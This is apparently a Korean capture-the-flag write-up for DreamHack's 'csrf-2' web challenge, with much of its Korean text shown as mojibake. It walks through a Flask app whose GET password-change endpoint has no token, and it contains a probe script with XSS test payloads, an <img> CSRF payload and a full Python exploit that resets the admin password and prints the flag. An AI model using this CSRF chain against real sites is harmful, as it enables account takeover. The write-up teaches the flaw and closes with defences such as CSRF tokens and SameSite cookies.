๋ฌธ์ : DreamHack โ csrf-2 ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 3 FLAG:
DH{c57d0dc12bb9ff023faf9a0e2b49e470a77271ef}

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | csrf-2 |
| ๋์ด๋ | ๐ฅ Bronze 3 |
| ๋ถ๋ฅ | Web (CSRF) |
| ์คํ | Flask + Selenium(Chromium) ๋ด |
| ์ ๊ณต | app.py ๋จ์ผ ํ์ผ + ๋ผ์ด๋ธ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ๋ถ์์ฉ ์๋ GET(/change_password) + ํํฐ๋ฅผ ํต๊ณผํ๋ <img> CSRF |
csrf-1๊ณผ ๊ณจ๊ฒฉ์ ๊ฐ๋ค. 127.0.0.1์์ admin ์ธ์
์ ๋ค๊ณ ๋๋ ๋ด์ด ์๊ณ , ๋ด๊ฐ ๋ฃ์ ๋ฌธ์์ด์ด ๋ด์ ๋ธ๋ผ์ฐ์ ์์ ๊ทธ๋๋ก ๋ ๋๋๋ค.
๋ค๋ฅธ ๊ฑด ๋ฌด์์ ์ํค๋๋๋ค. csrf-1์ ๋ด์๊ฒ ๋ด๋ถ ์ ์ฉ /admin์ ํธ์ถ์์ผ flag๋ฅผ memo์ ์ ๊ฒ ํ๋ค. csrf-2์ ๊ทธ๋ฐ ์น์ ํ ์๋ํฌ์ธํธ๊ฐ ์๋ค. ๋์ admin์ ๋น๋ฐ๋ฒํธ๊ฐ ๊ณง FLAG์ด๊ณ , ๋น๋ฒ์ ๋ฐ๊พธ๋ /change_password๊ฐ GET ํ ๋ฒ์ผ๋ก ๋์ํ๋ค.
๊ทธ๋์ ํ๋ฆ์ ์ด๋ ๊ฒ ๋๋ค โ ๋ด์๊ฒ /change_password?pw=๋ด๊ฐ์๋๊ฐ์ ํธ์ถํ๊ฒ ๋ง๋ค์ด admin ๋น๋ฒ์ ๋ฎ์ด์ฐ๊ณ , ๊ทธ ๋น๋ฒ์ผ๋ก admin ๋ก๊ทธ์ธํด์ index์ ์ฐํ๋ flag๋ฅผ ์ฝ๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์ด ๋ฌธ์ ์ ๋ด์ ์ด๋ป๊ฒ ๋๋๊ฐ
app.py์์ ๋ด์ ๋์ฐ๋ ๋ถ๋ถ๋ถํฐ ๋ณธ๋ค. flag๋ฅผ POSTํ๋ฉด ์๋ฒ๊ฐ Selenium ํฌ๋กฌ์ ํ๋ ๋์ฐ๊ณ , admin ์ธ์
์ฟ ํค๋ฅผ ์ฌ์ ์ฑ ๋ด๊ฐ ์ค ์ฃผ์๋ฅผ ๋ฐฉ๋ฌธํ๋ค.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
...
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie) # โ ์ฌ๊ธฐ์ admin sessionid ๊ฐ ๋ค์ด์จ๋ค
driver.get(url) # โ ๋ด๊ฐ ์ง์ ํ URL ๋ฐฉ๋ฌธ
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)check_csrf๋ param์ /vuln?param=...์ ๋ถ์ฌ ๋ด์๊ฒ ์ด๊ฒ ํ๋ค. ๊ทธ ์ฟ ํค๊ฐ ๋ฌด์์ธ์ง๋ /flag ํธ๋ค๋ฌ๋ฅผ ๋ณด๋ฉด ๋์จ๋ค.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin' # โ ๋ด ์ธ์
= admin
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'๋ด๊ฐ /flag์ param์ POSTํ๋ฉด, ์๋ฒ๋ ๋งค๋ฒ ์ ์ธ์
ํ๋๋ฅผ ๋ง๋ค์ด session_storage[session_id] = 'admin' ์ผ๋ก admin์ ๋ฌถ๊ณ , ๊ทธ ์ฟ ํค๋ฅผ ๋ ๋ด์๊ฒ /vuln?param=<๋ด ์
๋ ฅ>์ ๋ฐฉ๋ฌธ์ํจ๋ค. ์ฆ ๋ด ์
๋ ฅ์ด admin ๊ถํ ๋ธ๋ผ์ฐ์ ์์์ ๋ ๋๋๋ค. CSRF๊ฐ ์ฑ๋ฆฝํ๋ ๋ฌด๋๊ฐ ์ ํํ ์ฌ๊ธฐ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ ๋ผ์ฐํธ 4๊ฐ์ ๊ทธ ์ฌ์ด์ ํ
๋๋จธ์ง ๋ผ์ฐํธ๋ฅผ ํต์ฌ๋ง ์ถ๋ฆฐ๋ค.
users = {
'guest': 'guest',
'admin': FLAG # โ admin ๋น๋ฐ๋ฒํธ๊ฐ ๊ณง FLAG
}
@app.route("/")
def index():
...
return render_template('index.html',
text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param # โ ํํฐ ํ ๊ทธ๋๋ก ๋ฐ์ฌ
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
username = session_storage[session_id] # ์์ฒญ์ = ๋ด์ด๋ฉด admin
users[username] = pw # โ GET ํ ๋ฒ์ผ๋ก ๋น๋ฒ ๋ณ๊ฒฝ
return 'Done'์ธ ๊ฐ์ง๊ฐ ๋์ ๋ค์ด์จ๋ค.
-
index:admin์ผ๋ก ๋ก๊ทธ์ธํ๋ฉดflag is <FLAG>๋ฅผ ๊ทธ๋๋ก ๋ฐ์์ค๋ค. ๊ทธ๋ฌ๋ ๋ชฉํ๋ ๋จ์ํ๋ค โ admin์ผ๋ก ๋ก๊ทธ์ธ๋ง ํ๋ฉด ๋๋ค. -
/change_password: ์์ฒญ์ ์ธ์ ์ username ๋น๋ฒ์pw๋ก ๋ฐ๊พผ๋ค. CSRF ๋ฐฉ์ด ํ ํฐ์ด ์ ํ ์๊ณ , ๋ถ์์ฉ์ด ์๋๋ฐ๋ GET์ด๋ค. ๋ด(admin)์ด ์ด URL์ ํ ๋ฒ GETํ๋ฉด admin ๋น๋ฒ์ด ๋ฐ๋๋ค. -
/vuln:param์lower()ํframeยทscriptยทon์*๋ก ์นํํ๊ณ ๊ทธ๋๋ก ๋ฐ์ฌํ๋ค. ์ฝ๋ ์คํ์ ๋ง์ง๋ง, ๋ถ์์ฉ์ ์ผ์ผํค๋ ๋ฐ ์๋ฐ์คํฌ๋ฆฝํธ๋ ํ์ ์๋ค.
ํํฐ๊ฐ ์ค์ ๋ก ๋ฌด์์ ๋ง๊ณ ๋ฌด์์ ํต๊ณผ์ํค๋์ง ๋ผ์ด๋ธ ์๋ฒ์ ์ง์ ์ฐ๋ฌ๋ดค๋ค.
# probe.py โ /vuln ํํฐ๊ฐ ๋ฌด์์ ๋ง๊ณ ํต๊ณผ์ํค๋์ง ํ์ธ
import requests
B = "http://host3.dreamhack.games:11571"
tests = [
'<img src="/change_password?pw=x">', # CSRF ํ์ด๋ก๋ โ ํํฐ ํต๊ณผ ์์
'<script>alert(1)</script>', # script ์ฐจ๋จ
'<img src=x onerror=alert(1)>', # on ์ฐจ๋จ
'<iframe src=x>', # frame ์ฐจ๋จ
]
for t in tests:
r = requests.get(f"{B}/vuln", params={"param": t}, timeout=10)
print(f"๋ณด๋ธ param : {t}")
print(f"๋ฐ์ฌ ๊ฒฐ๊ณผ : {r.text}\n")
<img src="/change_password?pw=x">๋ ๊ธ์ ํ๋ ์ ๋ฐ๋๊ณ ํต๊ณผํ๋ค. ๋ฐ๋ฉด script๋ <*>๋ก, onerror๋ *error๋ก, iframe์ <i*>๋ก ๊นจ์ง๋ค. ๊ณต๊ฒฉ์ ํ์ํ ๊ฑด ๋ด์ GET ์์ฒญ ํ ๋ฒ๋ฟ์ด๋, ํํฐ๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๋ <img> ํ ์ค์ด๋ฉด ์ถฉ๋ถํ๋ค.
๐ ์ฝ์ง โ script๋ก ํ๋ ค๋ค ํํฐ์ ๋งํ๊ธฐ
์ฒ์์ csrf ๋ฌธ์ ๋ผ๋ ๊ฑธ ์๋ฉด์๋ ์ต๊ด์ฒ๋ผ <script>๋ถํฐ ๊บผ๋๋ค. ๋ด ์ฟ ํค๋ฅผ ๋นผ๋ด๊ฑฐ๋ fetch('/change_password?pw=1234')๋ฅผ ์คํ์ํค๋ ค ํ๋๋ฐ, ํํฐ๊ฐ script์ on์ ๋ ๋ค ๋ง์ ์์ด ๋ฌถ์๋ค.
โถ๐ ์ฝ์ง โ script / onerror ํ์ด๋ก๋๊ฐ ์ด๋ป๊ฒ ๊นจ์ง๋
ํํฐ๋ ๋จ์ ๋ฌธ์์ด ์นํ์ด๋ผ ์ฐํ ์ฌ์ง๊ฐ ์์ด ๋ณด์ด์ง๋ง, param์ด ๋จผ์ .lower()๋ก ์๋ฌธ์ํ๋๊ธฐ ๋๋ฌธ์ ScRiPt ๊ฐ์ ๋์๋ฌธ์ ํธ๋ฆญ์ ํตํ์ง ์๋๋ค. ์๋๋ ํํ ํ์ด๋ก๋๋ค์ด ๋ธ๋ผ์ฐ์ ์์ ์ค์ ๋ก ์ด๋ป๊ฒ ๋ง๊ฐ์ง๋์ง๋ค.
์
๋ ฅ โ /vuln ์ถ๋ ฅ
<script>...</script> โ <*>...</*> (script ์ ๊ฑฐ)
<img src=x onerror=...> โ <img src=x *error=...>(on ์ ๊ฑฐ โ ํธ๋ค๋ฌ ๋ฌดํจ)
<iframe src=...> โ <i* src=...> (frame ์ ๊ฑฐ โ ํ๊ทธ ๊นจ์ง)onerror/onload์ฒ๋ผ on์ผ๋ก ์์ํ๋ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ์ ๋ถ *error/*load๋ก ๋ณํด ์ฃฝ๋๋ค. ์๋ฐ์คํฌ๋ฆฝํธ ์คํ์ ๊ฒฝ์ ํ๋ ๊ธธ์ ๋ค ๋งํ ์
์ด๋ค.

๋งํ๊ณ ๋์์ผ ์ ์ ๋ฅผ ๋ค์ ๋ดค๋ค. ์ด ๋ฌธ์ ๋ ์ฝ๋ ์คํ์ด ๋ชฉํ๊ฐ ์๋๋ค. ๋น๋ฒ์ ๋ฐ๊พธ๋ ๊ฑด ์๋ฒ์ /change_password ํธ๋ค๋ฌ๊ณ , ๊ทธ๊ฑธ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ํ์ํ ๊ฑด ๋ด์ด ๋ณด๋ด๋ GET ์์ฒญ ํ ๋ฒ๋ฟ์ด๋ค. ํธ๋ค๋ฌ๋ ์ด๋ฒคํธ๋ ํ์ ์๋ค. ๊ทธ๋ฌ๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ๊ฐ ์์ ํ์ ์๊ณ , ํํฐ๊ฐ ๊ฑด๋๋ฆฌ์ง ์๋ <img>๋ก ์ถฉ๋ถํ๋ค.
๐ฃ ํต์ฌ โ img ํ ์ค๋ก ๋น๋ฐ๋ฒํธ CSRF
ํ์ด๋ก๋๋ ์ด ํ ์ค์ด๋ค.
<img src="/change_password?pw=pwned1234">scriptยทframeยทon์ด๋์๋ ์ ๊ฑธ๋ ค ํํฐ๋ฅผ ๊ทธ๋๋ก ํต๊ณผํ๋ค.- ๋ด์ ๋ธ๋ผ์ฐ์ ๊ฐ ์ด
<img>๋ฅผ ๋ง๋๋ฉดsrc๋ฅผ ๋ก๋ํ๋ ค๊ณ/change_password?pw=pwned1234๋ฅผ ์๋์ผ๋ก GETํ๋ค. - ๊ทธ ์์ฒญ์ ๋ด์ admin sessionid ์ฟ ํค๊ฐ ๋๋ด๋๋, ์๋ฒ ์
์ฅ์์ admin์ด ์ง์ ๋น๋ฒ์ ๋ฐ๊พผ ์
์ด ๋๋ค โ
users['admin'] = 'pwned1234'.
์ ์ฒด ํ๋ฆ์ ๊ทธ๋ฆผ์ผ๋ก ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.

<img>์ src๊ฐ ์ด๋ฏธ์ง๊ฐ ์๋์ด๋ ์๊ด์๋ค. ๋ธ๋ผ์ฐ์ ๋ ์ผ๋จ ๊ทธ ์ฃผ์๋ก GET์ ์๊ณ , ์๋ต์ด ์ด๋ฏธ์ง๊ฐ ์๋๋ฉด ๊นจ์ง ์ด๋ฏธ์ง ์์ด์ฝ๋ง ๋์ธ ๋ฟ์ด๋ค. ์ฐ๋ฆฌ์๊ฒ ํ์ํ ๊ฑด ์ด๋ฏธ์ง๊ฐ ์๋๋ผ ๊ทธ GET ์์ฒญ ์์ฒด๋ค.
๐ฏ ์ต์คํ๋ก์ โ ๋ด์ ์์ผ ๋น๋ฒ์ ๋ฎ์ด์ฐ๊ธฐ
๊ณต๊ฒฉ์ ์ฐ๋ ์
๋ ฅ ํผ์ /flag๋ค. http://127.0.0.1:8000/vuln?param= ๋ค์ ๋ถ์ผ ๊ฐ์ ๋ฐ๋๋ค.

์ฌ๊ธฐ์ <img src="/change_password?pw=pwned1234">๋ฅผ POSTํ๋ฉด, ๋ด์ด /vuln์์ ์ด ํ๊ทธ๋ฅผ ๋ ๋ํ๋ฉด์ src๋ฅผ ๋ก๋ํ๋ค. ๋ด ์์ ์์ ์ด๋ค ์ผ์ด ๋ฒ์ด์ง๋์ง๋ ๊ฐ์ URL์ ๋ธ๋ผ์ฐ์ ๋ก ์ง์ ์ด์ด ๋ณด๋ฉด ๋ณด์ธ๋ค โ <img>๊ฐ /change_password๋ฅผ GETํ๋ ค๋ค ์๋ต์ด ์ด๋ฏธ์ง๊ฐ ์๋๋ผ ๊นจ์ง ์์ด์ฝ์ด ๋ฌ๋ค.

์ด GET ํ ๋ฒ์ผ๋ก users['admin']์ด pwned1234๋ก ๋ฐ๋์๋ค. ์ด์ ๊ทธ ๋น๋ฒ์ผ๋ก ๋ก๊ทธ์ธ ํผ์ admin์ ๋ฃ๋๋ค.

๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ๋ฉด admin์ ๋ฌถ์ธ ์ธ์ ์ฟ ํค๋ฅผ ๋ฐ๊ณ , index๊ฐ flag๋ฅผ ๊ทธ๋๋ก ์ฐ์ด์ค๋ค.

๐ Full Exploit
์ ๊ณผ์ ์ ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค. CSRF payload ์ ์ก โ ๋ฐ๋ ๋น๋ฒ์ผ๋ก admin ๋ก๊ทธ์ธ โ index์์ flag ์ถ์ถ๊น์ง ์๋์ผ๋ก ๋๋ค.
#!/usr/bin/env python3
import sys, re, requests
BASE = "http://host3.dreamhack.games:11571"
NEW_PW = "pwned1234"
s = requests.Session()
# 1) CSRF payload ์ ์ก โ ๋ด(admin)์ด /change_password ๋ฅผ ๋์ ํธ์ถ
payload = f'<img src="/change_password?pw={NEW_PW}">'
r = s.post(f"{BASE}/flag", data={"param": payload}, timeout=15)
print("[*] /flag POST ->", r.status_code, repr(r.text.strip()[:60]))
# 2) ๋ฐ๋ ๋น๋ฐ๋ฒํธ๋ก admin ๋ก๊ทธ์ธ
s2 = requests.Session()
r = s2.post(f"{BASE}/login",
data={"username": "admin", "password": NEW_PW},
allow_redirects=False, timeout=15)
print("[*] /login ->", r.status_code, "set-cookie:", r.headers.get("Set-Cookie"))
if "sessionid" not in (r.headers.get("Set-Cookie") or ""):
sys.exit("[!] ๋ก๊ทธ์ธ ์คํจ โ payload ๋ฏธ๋ฐ์")
# 3) index ์์ flag ํ์
r = s2.get(f"{BASE}/", timeout=15)
m = re.search(r"DH\{[^}]*\}", r.text)
print("\nFLAG:", m.group(0) if m else "(๋ฏธ๊ฒ์ถ)")
FLAG: DH{c57d0dc12bb9ff023faf9a0e2b49e470a77271ef}๐ ๊ฒฐ๋ก
๋ถ์์ฉ์ด ์๋ ๋์์ GET์ผ๋ก ๋๋ฉด CSRF์ ์ ๊ตฌ๊ฐ ๋๋ค.
/change_password๋ ์๋ฒ ์ํ(๋น๋ฐ๋ฒํธ)๋ฅผ ๋ฐ๊พธ๋๋ฐ๋ GET์ด๊ณ , ์์ฒญ์ ๋ณด๋ธ ๊ฒ ์ ๋ง ๋ณธ์ธ์ธ์ง ํ์ธํ๋ ์ฅ์น๊ฐ ํ๋๋ ์์๋ค. ๊ทธ๋์ <img> ํ ์ค์ ๋๋ ค๊ฐ๋ ๋ด์ ๋จ์ GET์ด ๊ณง "admin์ด ๋น๋ฒ์ ๋ฐ๊ฟจ๋ค"๋ก ๋๊ฐํ๋ค.
์ํ๋ฅผ ๋ฐ๊พธ๋ ์์ฒญ์ POST๋ก, ๊ทธ๋ฆฌ๊ณ CSRF ํ ํฐ์ผ๋ก ์ถ์ฒ๋ฅผ ๊ฒ์ฆํด์ผ ํ๋ค.
๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝยท๊ฒฐ์ ยท๊ถํ ๋ณ๊ฒฝ์ฒ๋ผ ๋ถ์์ฉ ์๋ ๋์์ POST(๋๋ ๊ทธ ์ด์)๋ก ๋ฐ๊ณ , ํผ๋ง๋ค ์์ธก ๋ถ๊ฐ๋ฅํ CSRF ํ ํฐ์ ์ฌ์ด ์๋ฒ๊ฐ ๊ฒ์ฆํด์ผ ํ๋ค. ํ ํฐ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๊ฐ ๋ง๋ ํ์ด์ง(ํน์ ์ฌ๊ธฐ์ฒ๋ผ ๋ฐ์ฌ๋ <img>)๊ฐ ํผํด์ ๊ถํ์ผ๋ก ์์ฒญ์ ์์กฐํ ์ ์๋ค.
์ธ์
์ฟ ํค์ SameSite๋ฅผ, ๊ทธ๋ฆฌ๊ณ ๋ธ๋๋ฆฌ์คํธ ํํฐ๋ฅผ ์ ๋ขฐํ์ง ๋ง ๊ฒ.
์ฟ ํค์ SameSite=Lax/Strict๋ฅผ ๋ถ์๋ค๋ฉด ํฌ๋ก์ค ์ฌ์ดํธ ๋งฅ๋ฝ์ ์๋ ์์ฒญ์ ์ฟ ํค๊ฐ ๋น ์ ธ ์ด๋ฐ CSRF๊ฐ ํ ๊ฒน ๋งํ๋ค. ๋ frameยทscriptยทon๋ง ๋ณํ๋ก ๋ฐ๊พธ๋ ์์ ๋ธ๋๋ฆฌ์คํธ๋ <img>์ฒ๋ผ ํธ๋ค๋ฌ ์๋ ํ๊ทธ๋ฅผ ๋ชป ๋ง๋๋ค โ ์ถ๋ ฅ์ ๋ฌธ๋งฅ์ ๋ง๊ฒ ์ด์ค์ผ์ดํํ๋ ๊ฒ ์ ์์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ